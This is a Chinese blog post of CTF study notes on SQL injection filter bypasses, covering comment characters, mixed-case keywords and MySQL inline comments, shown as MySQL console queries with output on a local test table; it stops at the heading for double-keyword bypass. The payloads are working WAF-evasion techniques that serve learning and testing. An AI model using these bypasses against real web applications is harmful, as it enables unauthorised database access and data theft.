分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
写在前面:这个博客知识点来源于个人ctf练习比赛中积累的知识点及网络中各个博客的总结点,这里做测试和记录
0x00 sql注入理解
SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量;但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。
比如语句 String sql = "select id,no from user where id=" + id;
我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。
测试环境:Server version: 5.7.17-log MySQL Community Server (GPL)
0x01 sql注入绕过
1.1 注释符绕过
常用注释符:
-- , /**/, #
验证:
mysql> select * from sql_test where id = /*11*/1;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | 123456 |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 3 | test2 | 456 |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+| 3 | test2 | 456 |+----+----------+----------+1 row in set (0.00 sec)
这里还从别的表哥博客中发现了一种新姿势:
mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+| 2 | test | 234 || 3 | test2 | 456 |+----+----------+----------+2 rows in set (0.00 sec)mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | admin | 123456 |+----+----------+----------+1 row in set (0.00 sec)
理解如下:
->where id=1=0=1
id!=1,比如id=2 和 id=3的时候
id=1返回了一个值为0的布尔变量
0=0继而返回了1的布尔变量
再和=1比较,返回比较成功,故选取了id2,3的记录
1.2 大小写绕过
sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的
mysql> select * from sql_test where id = 3 uniON sEleCt * from sql_test where id = 2;+----+----------+----------+| id | username | password |+----+----------+----------+| 3 | test2 | 456 || 2 | test | 234 |+----+----------+----------+2 rows in set (0.00 sec)
1.3 内联注释绕过
ummmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行
mysql> select * from sql_test where id = 3 union /*!select*/ * from sql_test where id like 2;+----+----------+----------+| id | username | password |+----+----------+----------+| 3 | test2 | 456 || 2 | test | 234 |+----+----------+----------+2 rows in set (0.00 sec)
1.4 双关键字绕过